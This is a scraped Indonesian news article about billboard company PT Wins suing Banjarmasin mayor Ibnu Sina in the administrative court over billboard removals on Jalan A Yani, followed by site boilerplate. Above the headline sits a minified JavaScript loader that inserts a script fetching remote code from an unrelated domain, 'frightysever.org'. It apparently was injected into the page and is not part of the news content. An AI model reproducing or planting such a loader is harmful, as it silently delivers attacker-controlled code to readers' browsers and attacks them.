(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Wali Kota Banjarmasin Ibnu Sina di-PTUN-kan, Satpol PP Target Bongkar 10 Baliho Bando


KANALKALIMANTAN.COM,BANJARMASIN – Menyusul perintah Wali Kota Banjarmasin Ibnu Sina membongkar baliho bando di sepanjang Jalan A Yani berujung ke meja hijau.

Perusahaan penyedia papan reklame ajukan gugatan ke Pengadilan Tata Usaha Negara (PTUN ) Banjarmasin. Pihak penggugat adalah PT Wins (Wahana Inti Sejati) yang mengajukan upaya hukum ke PTUN Banjarmasin.

Meski diadukan ke PTUN Banjarmasin, Satpol PP Banjarmasin tak surut melakukan pembongkaran baliho-baliho bando di sepanjang Jalan A Yani.

Melalui pihak kuasa hukum PT Wins, M Denny Dermawan dan Julfikar Dwi Istanto mengajukan gugatan kepada Wali Kota Banjarmasin untuk memanggil dan memeriksa pihak tergugat yakni Wali Kota Ibnu Sina sebagai tergugat ke majelis hakim.

 

Baca juga : Personel BPBD Banjarbaru Standby, Antisipasi Potensi Bencana La Nina

Biang gugatan berawal dari permasalahan adanya pembongkaran baliho bando yang ada di pertigaan Jalan A Yani-Jalan Kuripan, dan Jalan Pengeran Antasari pada Selasa (2/11/2021) dini hari.

Dalam surat panggilan kepada Wali Kota Banjarmasin telah diteken panitera PTUN Banjarmasin yakni Yusran Ibrahim untuk berhadir dalam agenda sidang pada Selasa (9/11/2021) mendatang pukul 10.00 Wita.

Dalam surat panggilan bernomor 14/G/2021/PEN-PP/PTUN Banjarmasin tanggal 3 November 2021, dikuatkan dengan penetapan majelis hakim atas perkara itu yang telah diregister bernomor 10/G/2021/PTUN.BJM.

Kewenangan majelis hakim berdasar Pasal 63 ayat (1) UU Nomor 5 Tahun 1986 tentang Peradilan Tata Usaha Negara sebagaimana telah diubah dengan UU Nomor 9 Tahun 2004 dan perubahan kedua UU Nomor 51 Tahun 2009. Dalam posisi perkara itu, Wali Kota Banjarmasin Ibnu Sina sebagai pihak tergugat.

 

Baca juga : Gubernur Kalsel Tinjau Vaksinasi Bergerak di HSU

Sementara itu pantauan Kanalkalimantan.com, sisa dari potongan reklame telah diamankan pihak Satpol PP dan telah diangkut ke kantor Satpol PP di Jalan KS Tubun, Pekauman, Banjarmasin.

Sudah ada dua baliho dibongkar tim gabungan dari Satpol PP Banjarmasin dibackup pihak kepolisian.

Kepala Satpol PP Banjarmasin Ahmad Muzaiyin mengatakan, target dari pembongkaran baliho bando di sepanjang jalan A Yani akan terus dilakukan hingga sepuluh hari kedepan.

Paling lambat, satu bulan sebanyak 10 titik sisa baliho bando bongkaran era Plt Kasat Pol PP Banjarmasin Ichwan Noor Chalik akan rampung dibersihkan. (kanalkalimantan.com/seno)

Reporter : seno
Editor : bie


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.